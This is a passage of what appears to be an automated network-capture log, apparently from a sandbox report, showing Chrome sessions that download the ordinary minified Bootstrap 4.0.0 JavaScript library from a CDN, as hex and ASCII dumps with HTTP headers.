2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49873	104.18.10.207	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:09 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:10 UTC	966	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:10 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 11/06/2024 23:22:44 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 4b27a6159bc37045f1b4a0164e815dfb CDN-Cache: HIT CF-Cache-Status: HIT Age: 609982 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ef54a7fb96e4240-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:20:10 UTC	403	IN	Data Raw: 37 62 65 64 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bed/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e Data Ascii: ine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defin
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c Data Ascii: function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isEl
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 Data Ascii: e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._des
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 Data Ascii: &p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d Data Ascii: mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 Data Ascii: l),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d Data Ascii: (!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)}
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d Data Ascii: t(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).rem
2024-12-09 13:20:10 UTC	1369	IN	Data Raw: 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 Data Ascii: DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collaps

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49864	43.152.64.207	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
